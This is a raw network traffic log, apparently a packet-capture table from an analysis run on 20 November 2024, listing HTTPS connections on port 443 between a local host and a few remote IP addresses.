Nov 20, 2024 17:42:50.102854013 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.839633942 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.841810942 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.841829062 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:50.842492104 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:50.842499018 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.098804951 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.105592012 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.105614901 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.106224060 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.106230021 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.171168089 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.171880960 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.171896935 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.172354937 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.172359943 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.292376995 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.295401096 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.295442104 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.295459032 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.295502901 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.295577049 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.295593023 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.295603991 CET	50028	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.295609951 CET	443	50028	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.299154997 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.299227953 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.299335003 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.299556017 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.299591064 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.556821108 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.560069084 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.560143948 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.580699921 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.580734968 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.580771923 CET	50030	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.580779076 CET	443	50030	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.665735006 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.669080019 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.669190884 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.669209003 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.669251919 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.689024925 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.689037085 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.689094067 CET	50029	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.689100027 CET	443	50029	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.765178919 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.765248060 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.765330076 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.769556046 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.769645929 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.769721031 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.769771099 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.769807100 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:51.770210981 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:51.770247936 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.002304077 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.022243977 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.022253990 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.024843931 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.024848938 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.029251099 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.032464981 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.032526016 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.036391020 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.036406994 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.470434904 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.470515013 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.470616102 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.470988989 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.470999956 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.471013069 CET	50031	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.471018076 CET	443	50031	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.474706888 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.474724054 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.474812984 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.475049973 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.475061893 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.478230953 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.483222008 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.483298063 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.483355045 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.483390093 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.483447075 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.483488083 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.483488083 CET	50032	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.483515978 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.483541965 CET	443	50032	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.485970020 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.485999107 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:52.486062050 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.486198902 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:52.486213923 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.103936911 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.107785940 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.107856035 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.108292103 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.108308077 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.554924965 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.558028936 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.558166027 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.558432102 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.558433056 CET	50033	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.558479071 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.558507919 CET	443	50033	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.561779976 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.561805010 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.561881065 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.562031031 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.562042952 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.617969036 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.619735003 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.619784117 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.620223045 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.620239973 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.656886101 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.657515049 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.657551050 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:53.658360004 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:53.658375025 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.073389053 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.073415995 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.073513031 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.073559999 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.073883057 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.073925018 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.073946953 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.074121952 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.074162960 CET	443	50035	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.075272083 CET	50035	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.077790022 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.077833891 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.077914953 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.078140020 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.078154087 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.102150917 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.102214098 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.102349997 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.102384090 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.102608919 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.102641106 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.102691889 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.103069067 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.103156090 CET	443	50034	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.103219986 CET	50034	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.106719017 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.106776953 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.106873989 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.107045889 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.107063055 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.294553041 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.295186043 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.295207977 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.295684099 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.295689106 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.362915039 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.379887104 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.379906893 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.380388021 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.380397081 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.742930889 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.746334076 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.746385098 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.746391058 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.746440887 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.747052908 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.747072935 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.747086048 CET	50036	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.747092962 CET	443	50036	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.759455919 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.759526014 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.759597063 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.766908884 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.766931057 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.817233086 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.821482897 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.821538925 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.821599007 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.821619034 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.821630001 CET	50037	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.821635008 CET	443	50037	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.824793100 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.824875116 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:54.824964046 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.825134039 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:54.825167894 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.411490917 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.412066936 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.412091017 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.412709951 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.412715912 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.940509081 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.940535069 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.940582991 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.940658092 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.940972090 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.940996885 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.941011906 CET	50038	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.941019058 CET	443	50038	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.942437887 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.943255901 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.943285942 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.943881989 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.943892002 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.945574045 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.945605993 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.945681095 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.945854902 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.945863008 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.946846962 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.947258949 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.947290897 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:55.947818995 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:55.947827101 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.386399984 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.389514923 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.389578104 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.389664888 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.389740944 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.389765024 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.389776945 CET	50040	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.389782906 CET	443	50040	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.392719030 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.392829895 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.392939091 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.393121004 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.393156052 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.400032043 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.403527975 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.407283068 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.407320023 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.407320023 CET	50039	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.407335997 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.407345057 CET	443	50039	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.410732985 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.410769939 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.411276102 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.411426067 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.411442041 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.589407921 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.592900991 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.592920065 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.593419075 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.593425035 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.690948009 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.694627047 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.694657087 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:56.695112944 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:56.695118904 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.027199984 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.030508995 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.030649900 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.030832052 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.030903101 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.030925989 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.030936956 CET	50043	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.030942917 CET	443	50043	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.033909082 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.034008026 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.034122944 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.034264088 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.034292936 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.125324011 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.125479937 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.125531912 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.125708103 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.125724077 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.125736952 CET	50042	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.125742912 CET	443	50042	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.130008936 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.130045891 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.130109072 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.130430937 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.130445004 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.673645020 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.674345016 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.674357891 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:57.674871922 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:57.674876928 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.111385107 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.114614964 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.114671946 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.114733934 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.114742994 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.114763975 CET	50044	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.114768982 CET	443	50044	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.118501902 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.118532896 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.118602991 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.118855953 CET	50049	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.118870020 CET	443	50049	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.330646992 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.331253052 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.331348896 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.332125902 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.332154989 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.373406887 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.373965025 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.373986006 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.374497890 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.374502897 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.778496027 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.781692028 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.781784058 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.781805992 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.781847954 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.781908989 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.782008886 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.782027960 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.782044888 CET	50045	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.782052994 CET	443	50045	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.786304951 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.786349058 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.786452055 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.786619902 CET	50050	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.786632061 CET	443	50050	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.817236900 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.820436001 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.820506096 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.820595980 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.820610046 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.820621967 CET	50046	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.820627928 CET	443	50046	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.823920012 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.823957920 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.824053049 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.824203014 CET	50051	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.824215889 CET	443	50051	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.830615044 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.833022118 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.833067894 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.833714962 CET	50047	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.833733082 CET	443	50047	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.869024992 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.875895977 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.875937939 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:58.876358986 CET	50048	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:58.876368046 CET	443	50048	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:59.076334000 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:42:59.076373100 CET	443	50052	142.250.181.68	192.168.2.7
